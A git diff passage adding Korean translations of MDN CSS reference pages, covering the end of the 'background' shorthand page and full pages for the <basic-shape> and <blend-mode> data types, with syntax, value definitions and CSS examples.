+   <li><code><a href="#repeat-style">&lt;repeat-style&gt;</a></code></li>
+  </ul>
+ </li>
+ <li><code><a href="#bg-size">&lt;bg-size&gt;</a></code> 값은 <code><a href="#position">&lt;position&gt;</a></code> 바로 뒤에만 위치할 수 있으며 '/' 문자로 구분해야 합니다. 예를 들면 "<code>center/80%</code>" 처럼 사용합니다.</li>
+ <li><code><a href="#box">&lt;box&gt;</a></code> 값은 2개까지 가지거나 가지지 않을 수 있습니다. 1개 가진다면 {{cssxref("background-origin")}}과 {{cssxref("background-clip")}}을 모두 설정합니다. 2개 가진다면 처음 값은 {{cssxref("background-origin")}}, 두 번째 값은 {{cssxref("background-clip")}}을 설정합니다.</li>
+ <li><code><a href="#background-color">&lt;background-color&gt;</a></code> 값은 마지막 레이어만 가질 수 있습니다.</li>
+</ul>
+
+<h3 id="값"><a id="values" name="values">값</a></h3>
+
+<dl>
+ <dt><a id="attachment" name="attachment"><code>&lt;attachment&gt;</code></a></dt>
+ <dd>{{cssxref("background-attachment")}}</dd>
+ <dt><a id="box" name="box"><code>&lt;box&gt;</code></a></dt>
+ <dd>{{cssxref("background-clip")}}, {{cssxref("background-origin")}}</dd>
+ <dt><a id="background-color" name="background-color"><code>&lt;background-color&gt;</code></a></dt>
+ <dd>{{cssxref("background-color")}}</dd>
+ <dt><a id="bg-image" name="bg-image"><code>&lt;bg-image&gt;</code></a></dt>
+ <dd>{{Cssxref("background-image")}}</dd>
+ <dt><a id="position" name="position"><code>&lt;position&gt;</code></a></dt>
+ <dd>{{cssxref("background-position")}}</dd>
+ <dt><a id="repeat-style" name="repeat-style"><code>&lt;repeat-style&gt;</code></a></dt>
+ <dd>{{cssxref("background-repeat")}}</dd>
+ <dt><a id="bg-size" name="bg-size"><code>&lt;bg-size&gt;</code></a></dt>
+ <dd>{{cssxref("background-size")}}</dd>
+</dl>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>브라우저는 배경 이미지에 대한 어떠한 추가 정보도 접근성 보조 기술에 제공하지 않습니다. 특히 스크린 리더의 경우 배경 이미지의 존재 유무조차 알려주지 않습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="색상_키워드와_이미지를_사용한_배경">색상 키워드와 이미지를 사용한 배경</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p class="topbanner"&gt;
+  작은 별&lt;br/&gt;
+  반짝 반짝&lt;br/&gt;
+  작은 별
+&lt;/p&gt;
+&lt;p class="warning"&gt;문단 하나&lt;p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.warning {
+  background: pink;
+}
+
+.topbanner {
+  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("색상_키워드와_이미지를_사용한_배경")}}</p>
+
+<ul>
+</ul>
+
+<h2 id="Notes" name="Notes">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>The shorthand property has been extended to support multiple backgrounds and the new {{cssxref("background-size")}}, {{cssxref("background-origin")}} and {{cssxref("background-clip")}} properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background', 'background')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_.ED.98.B8.ED.99.98.EC.84.B1" name="Browser_.ED.98.B8.ED.99.98.EC.84.B1">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.background")}}</p>
+
+<h2 id="See_Also" name="See_Also">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("box-decoration-break")}}</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">CSS 그레이디언트 사용하기</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">한 번에 여러 배경 사용하기</a></li>
+</ul>
+
+<p><span class="comment">Categoria</span></p>
diff --git a/files/ko/web/css/basic-shape/index.html b/files/ko/web/css/basic-shape/index.html
new file mode 100644
index 0000000000..1697320804
--- /dev/null
+++ b/files/ko/web/css/basic-shape/index.html
@@ -0,0 +1,179 @@
+---
+title: <basic-shape>
+slug: Web/CSS/basic-shape
+tags:
+  - CSS
+  - CSS Date Type
+  - CSS Shapes
+  - Reference
+translation_of: Web/CSS/basic-shape
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>&lt;basic-shape&gt;</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 {{cssxref("clip-path")}}, {{cssxref("shape-outside")}}, {{cssxref("offset-path")}} 속성이 사용할 형태를 정의합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-basic-shape.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;basic-shape&gt;</code> 자료형은 아래의 기본 형태 함수 중 하나를 사용해 정의합니다.</p>
+
+<p>형태를 생성할 때, 형태의 기준 상자는 <code>&lt;basic-shape&gt;</code> 값을 사용하는 속성이 결정합니다. 형태의 좌표계는 기준 상자의 좌상단을 원점으로 하고, X축은 오른쪽, Y축은 아래쪽으로 나가게 됩니다. 백분율료 표현한 모든 길이는 기준 상자의 크기를 사용해 계산합니다.</p>
+
+<h3 id="형태_함수">형태 함수</h3>
+
+<p>다음의 형태를 지원합니다. 모든 <code>&lt;basic-shape&gt;</code> 값은 함수형 표기법을 사용하고, 여기서는 <a href="/ko/docs/Web/CSS/Value_definition_syntax">값 정의 구문</a>을 통해 정의합니다.</p>
+
+<dl>
+ <dt><code><a id="inset()" name="inset()"></a>inset()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>inset( &lt;shape-arg&gt;{1,4} [round &lt;border-radius&gt;]? )</code></pre>
+
+ <p>인셋(inset) 사각형을 정의합니다.</p>
+
+ <p>매개변수 네 개를 모두 제공했을 땐 기준 상자의 상, 우, 하, 좌측 모서리에서 각각의 값만큼 안쪽으로 이동하여 인셋 사각형의 모서리를 구성합니다. 매개변수는 여백 단축 속성의 구분을 따르므로 네 모서리를 한 개, 두 개 등의 값만으로 정의할 수 있습니다.</p>
+
+ <p>선택적 {{cssxref("border-radius", "&lt;border-radius&gt;")}} 매개변수를 <code>border-radius</code> 단축 속성 구문을 사용해 지정하면 인셋 사각형의 모서리를 둥글게 만들 수 있습니다.</p>
+
+ <p>좌우 인셋 각각 75%처럼, 한 축의 인셋 쌍 값의 합이 요소가 차지하는 크기보다 큰 경우 면적 없는 형태를 정의합니다.</p>
+
+ <div class="hidden">
+ <p>For this specification, this results in an empty float area.</p>
+ </div>
+ </dd>
+ <dt><code><a id="circle()" name="circle()"></a>circle()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code><code><code>circle( [&lt;shape-radius&gt;]? [at &lt;position&gt;]? )</code></code></code></pre>
+
+ <p><code>&lt;shape-radius&gt;</code> 매개변수는 원의 반지름 <em>r</em>을 지정합니다. 음수는 유효하지 않습니다. 백분율 값을 사용하면 기준 상자의 너비와 높이를 공식 <code>sqrt(width^2+height^2)/sqrt(2)</code>에 대입한 결과가 최종 값이 됩니다.</p>
+
+ <p>{{cssxref("&lt;position&gt;")}} 매개변수는 원의 중심을 지정합니다. 생략할 경우 중앙을 기본값으로 사용합니다.</p>
+ </dd>
+ <dt><code><a id="ellipse()" name="ellipse()"></a>ellipse()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code><code><code>ellipse( [&lt;shape-radius&gt;{2}]? [at &lt;position&gt;]? )</code></code></code></pre>
+
+ <p><code>&lt;shape-radius&gt;</code> 매개변수는 타원의 X축, Y축 반지름인 r<sub>x</sub>와 r<sub>y</sub>를 순서대로 지정합니다. 두 값 모두 음수는 유효하지 않습니다. 백분율 값을 사용하면 기준 상자의 너비(r<sub>x</sub>)와 높이(r<sub>y</sub>)를 사용해 계산합니다.</p>
+
+ <p>{{cssxref("&lt;position&gt;")}} 매개변수는 타원의 중심을 지정합니다. 생략할 경우 중앙을 기본값으로 사용합니다.</p>
+ </dd>
+ <dt><code><a id="polygon()" name="polygon()"></a>polygon()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>polygon( [&lt;fill-rule&gt;,]? [&lt;shape-arg&gt; &lt;shape-arg&gt;]# )</code></pre>
+
+ <p><code>&lt;fill-rule&gt;</code> represents the <a href="/en-US/docs/Web/SVG/Attribute/fill-rule">filling rule</a> used to determine the interior of the polygon. Possible values are <code>nonzero</code> and <code>evenodd</code>. Default value when omitted is <code>nonzero</code>.</p>
+
+ <p>Each pair argument in the list represents <em>x<sub>i</sub></em> and <em>y<sub>i</sub></em> - the x and y axis coordinates of the i<sup>th</sup> vertex of the polygon.</p>
+ </dd>
+ <dt><code><a id="path()" name="path()"></a>path()</code></dt>
+ <dd>
+ <pre class="syntaxbox"><code>path( [&lt;fill-rule&gt;,]? &lt;string&gt;)</code></pre>
+
+ <p>The optional <code>&lt;fill-rule&gt;</code> represents the <a href="/en-US/docs/Web/SVG/Attribute/fill-rule">filling rule</a> used to determine the interior of the path. Possible values are <code>nonzero</code> and <code>evenodd</code>. Default value when omitted is <code>nonzero</code>.</p>
+
+ <p>The required &lt;string&gt; is an <a href="/en-US/docs/SVG/Attribute/d">SVG Path</a> string encompassed in quotes</p>
+ </dd>
+</dl>
+
+<p>The arguments not defined above are defined as follows:</p>
+
+<pre class="syntaxbox"><code>&lt;shape-arg&gt; = &lt;length&gt; | &lt;percentage&gt;
+&lt;shape-radius&gt; = &lt;length&gt; | &lt;percentage&gt; | closest-side | farthest-side</code></pre>
+
+<p>Defines a radius for a circle or ellipse. If omitted it defaults to <code>closest-side</code>.</p>
+
+<p><code>closest-side</code> uses the length from the center of the shape to the closest side of the reference box. For circles, this is the closest side in any dimension. For ellipses, this is the closest side in the radius dimension.</p>
+
+<p><code>farthest-side</code> uses the length from the center of the shape to the farthest side of the reference box. For circles, this is the farthest side in any dimension. For ellipses, this is the farthest side in the radius dimension.</p>
+
+<h2 id="기본_형태의_계산값">기본 형태의 계산값</h2>
+
+<p>The values in a <code>&lt;basic-shape&gt;</code> function are computed as specified, with these exceptions:</p>
+
+<ul>
+ <li>Omitted values are included and compute to their defaults.</li>
+ <li>A {{cssxref("&lt;position&gt;")}} value in <code>circle()</code> or <code>ellipse()</code> is computed as a pair of offsets (horizontal then vertical) from the top left origin, each given as a combination of an absolute length and a percentage.</li>
+ <li>A <a href="/en-US/docs/Web/CSS/border-radius"><code>&lt;border-radius&gt;</code></a> value in <code>inset()</code> is computed as an expanded list of all eight {{cssxref("length")}} or percentage values.</li>
+</ul>
+
+<h2 id="기본_형태의_보간법">기본 형태의 보간법</h2>
+
+<p>When animating between one <code>&lt;basic-shape&gt;</code> and another, the rules below are applied. The values in the shape functions interpolate as a simple list. The list values interpolate as {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, or {{cssxref("calc()")}} where possible. If list values are not one of those types but are identical, those values do interpolate.</p>
+
+<ul>
+ <li>Both shapes must use the same reference box.</li>
+ <li>If both shapes are the same type, that type is <code>ellipse()</code> or <code>circle()</code>, and none of the radii use the <code>closest-side</code> or <code>farthest-side</code> keywords, interpolate between each value in the shape functions.</li>
+ <li>If both shapes are of type <code>inset()</code>, interpolate between each value in the shape functions.</li>
+ <li>If both shapes are of type <code>polygon()</code>, both polygons have the same number of vertices, and use the same <code>&lt;fill-rule&gt;</code>, interpolate between each value in the shape functions.</li>
+ <li>If both shapes are of type <code>path()</code>, both paths strings have the same number and types of path data commands in the same order, interpolate each path data command as real numbers.</li>
+ <li>In all other cases no interpolation occurs.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Animated_polygon">Animated polygon</h3>
+
+<p>In this example, we use the <a href="/en-US/docs/Web/CSS/@keyframes">@keyframes</a> at-rule to animate a clip path between two polygons. Note that both polygons have the same number of vertices, which is necessary for this type of animation to work.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">div {
+  width: 300px;
+  height: 300px;
+  background: repeating-linear-gradient(red, orange 50px);
+  clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%);
+  animation: 4s poly infinite alternate ease-in-out;
+  margin: 10px auto;
+}
+
+@keyframes poly {
+  from {
+    clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%);
+  }
+
+  to {
+    clip-path: polygon(50% 30%, 100% 0%, 70% 50%, 100% 100%, 50% 70%, 0% 100%, 30% 50%, 0% 0%);
+  }
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('Animated_polygon','340', '340')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS Shapes', '#basic-shape-functions', '&lt;basic-shape&gt;') }}</td>
+   <td>{{ Spec2('CSS Shapes') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.basic-shape")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;basic-shape&gt;</code>를 사용하는 속성: {{cssxref("clip-path")}}, {{cssxref("shape-outside")}}</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Edit Shape Paths in CSS — Firefox Developer Tools</a></li>
+</ul>
diff --git a/files/ko/web/css/blend-mode/index.html b/files/ko/web/css/blend-mode/index.html
new file mode 100644
index 0000000000..f5570e1ce3
--- /dev/null
+++ b/files/ko/web/css/blend-mode/index.html
@@ -0,0 +1,404 @@
+---
+title: <blend-mode>
+slug: Web/CSS/blend-mode
+tags:
+  - CSS
+  - CSS Data Type
+  - Reference
+  - 블렌드 모드
+  - 혼합 모드
+translation_of: Web/CSS/blend-mode
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS </a><strong><code>&lt;blend-mode&gt;</code></strong> <a href="/ko/docs/Web/CSS/CSS_Types">자료형</a>은 요소가 겹칠 경우 색상이 어떻게 나타나야 하는지 정의합니다. {{cssxref("background-blend-mode")}}와 {{cssxref("mix-blend-mode")}} 속성에서 사용합니다.</p>
+
+<p>최종 색상은 혼합 모드를 적용한 레이어 각각의 픽셀 하나씩에 대해 전경색과 배경색을 취한 후 모드에 따라 계산을 수행하여 나온 새로운 값입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><code>&lt;blend-mode&gt;</code> 자료형은 다음 키워드 값 중 하나를 선택해 지정합니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code><a id="normal" name="normal">normal</a></code></dt>
+ <dd>
+ <p>배경색에 상관하지 않고 최상단 색을 사용합니다.<br>
+  두 장의 불투명한 종이를 겹친 것과 같습니다.</p>
+
+ <div id="normal_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: normal;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('normal_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="multiply" name="multiply">multiply</a></code></dt>
+ <dd>
+ <p>최종 색은 전경과 배경색을 곱한 값입니다.<br>
+  검은 레이어는 최종 레이어를 검은 색으로 만들고, 하얀 레이어는 아무런 변화도 주지 않습니다.<br>
+  투명한 필름에 프린트한 이미지를 서로 겹친 것과 같습니다.</p>
+
+ <div id="multiply_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: multiply;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('multiply_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="screen" name="screen">screen</a></code></dt>
+ <dd>
+ <p>최종 색은 전경과 배경색을 각각 반전한 후 서로 곱해 나온 값을 다시 반전한 값입니다.<br>
+  검은 레이어는 아무런 변화도 주지 않고, 하얀 레이어는 최종 레이어를 하얗게 만듭니다.<br>
+  프로젝터 두 대로 이미지를 겹친 것과 같습니다.</p>
+
+ <div id="screen_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: screen;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('screen_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="overlay" name="overlay">overlay</a></code></dt>
+ <dd>배경색이 더 어두운 경우 <code>multiply</code>, 더 밝은 경우 <code>screen</code>을 적용합니다.<br>
+ <code>hard-light</code>와 같지만 배경과 전경을 뒤집은 것입니다.
+ <div id="overlay_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: overlay;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('overlay_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="darken" name="darken">darken</a></code></dt>
+ <dd>
+ <p>최종 색은 각각의 색상 채널에 대해 제일 어두운 값을 취한 결과입니다.</p>
+
+ <div id="darken_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: darken;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('darken_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="lighten" name="lighten">lighten</a></code></dt>
+ <dd>
+ <p>최종 색은 각각의 색상 채널에 대해 제일 밝은 값을 취한 결과입니다.</p>
+
+ <div id="lighten_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: lighten;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('lighten_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="color-dodge" name="color-dodge">color-dodge</a></code></dt>
+ <dd>
+ <p>최종 색은 배경색을 전경색의 역으로 나눈 결과입니다.<br>
+  검은 전경색은 아무런 변화도 주지 않습니다. 전경색이 배경색의 역인 경우 제일 밝은 색이 됩니다.<br>
+  <code>screen</code>과 유사하지만, 전경색의 밝기가 배경색과 동일하기만 해도 최대의 밝기를 가진 색을 반환합니다.</p>
+
+ <div id="color-dodge_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: color-dodge;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('color-dodge_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="color-burn" name="color-burn">color-burn</a></code></dt>
+ <dd>
+ <p>최종 색은 배경색을 반전한 후 전경색으로 나누고, 다시 반전한 결과입니다.<br>
+  하얀 전경색은 아무런 변화도 주지 않습니다. 전경색이 배경색의 역인 경우 결과는 검은색입니다.<br>
+  <code>multiply</code>와 유사하지만, 전경색의 밝기가 배경색의 역과 동일하기만 해도 검은색을 반환합니다.</p>
+
+ <div id="color-burn_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: color-burn;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('color-burn_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="hard-light" name="hard-light">hard-light</a></code></dt>
+ <dd>
+ <p>전경색이 더 어두운 경우 <code>multiply</code>, 더 밝은 경우 <code>screen</code>을 적용합니다.<br>
+  <code>overlay</code>와 같지만 배경과 전경을 뒤집은 것입니다.<br>
+  배경색에 스포트라이트를 "강렬하게" 비춘 효과와 유사합니다.</p>
+
+ <div id="hard-light_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: hard-light;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('hard-light_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="soft-light" name="soft-light">soft-light</a></code></dt>
+ <dd>
+ <p><code>hard-light</code>와 유사하지만 더 부드럽습니다.<br>
+  <code>hard-light</code>와 비슷하게 동작합니다.<br>
+  배경색에 스포트라이트를 산란시켜 비춘 효과와 유사합니다.</p>
+
+ <div id="soft-light_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: soft-light;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('soft-light_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="difference" name="difference">difference</a></code></dt>
+ <dd>
+ <p>최종 색은 두 색상 중 더 어두운 색을 밝은 색에서 뺀 결과입니다.<br>
+  검은 레이어는 아무런 변화도 주지 않고, 흰 레이어로는 다른 레이어의 색을 반전한 효과를 냅니다.</p>
+
+ <div id="difference_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: difference;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('difference_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="exclusion" name="exclusion">exclusion</a></code></dt>
+ <dd>
+ <p><code>difference</code>와 유사하지만 더 적은 대비를 가진 색을 반환합니다.<br>
+  <code>difference</code>와 마찬가지로 검은 레이어는 아무런 변화도 주지 않고, 흰 레이어로는 다른 레이어의 색을 반전한 효과를 냅니다.</p>
+
+ <div id="exclusion_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: exclusion;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('exclusion_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="hue" name="hue">hue</a></code></dt>
+ <dd>
+ <p>최종 색은 전경색의 색조를 가지며 배경색의 채도와 밝기를 가집니다.</p>
+
+ <div id="hue_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: hue;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('hue_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="saturation" name="saturation">saturation</a></code></dt>
+ <dd>
+ <p>최종 색은 전경색의 채도를 가지며 배경색의 색조와 밝기를 가집니다.<br>
+  색조 없는 순수한 회색 배경으로는 아무런 효과도 없습니다.</p>
+
+ <div id="saturation_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: saturation;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('saturation_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="color" name="color">color</a></code></dt>
+ <dd>
+ <p>최종 색은 전경색의 색조와 채도를 가지며 배경색의 밝기를 가집니다.<br>
+  회색조를 유지하므로 전경을 색칠할 때 사용할 수 있습니다.</p>
+
+ <div id="color_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: color;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('color_example', "300", "300") }}</p>
+ </dd>
+ <dt><code><a id="luminosity" name="luminosity">luminosity</a></code></dt>
+ <dd>
+ <p>최종 색은 전경색의 밝기를 가지며 배경색의 색조와 채도를 가집니다.<br>
+  <code>color</code>와 동일하지만 배경과 전경을 뒤집은 것입니다.</p>
+
+ <div id="luminosity_example">
+ <div class="hidden">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+  width: 300px;
+  height: 300px;
+  background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+              url('https://mdn.mozillademos.org/files/8545/tr.png');
+  background-blend-mode: luminosity;
+}</pre>
+ </div>
+ </div>
+
+ <p>{{ EmbedLiveSample('luminosity_example', "300", "300") }}</p>
+ </dd>
+</dl>
+
+<h2 id="혼합_모드의_보간">혼합 모드의 보간</h2>
+
+<p>혼합 모드는 보간 대상이 아니며 모든 변경점은 즉시 발생합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Compositing', '#ltblendmodegt', '&lt;blend-mode&gt;') }}</td>
+   <td>{{ Spec2('Compositing') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.blend-mode")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code>&lt;blend-mode&gt;</code>를 사용하는 속성: {{cssxref("background-blend-mode")}}, {{cssxref("mix-blend-mode")}}</li>
+</ul>
+
+<p>각각의 혼합 모드에 대한 설명을 다루는 외부 웹 페이지:</p>
+
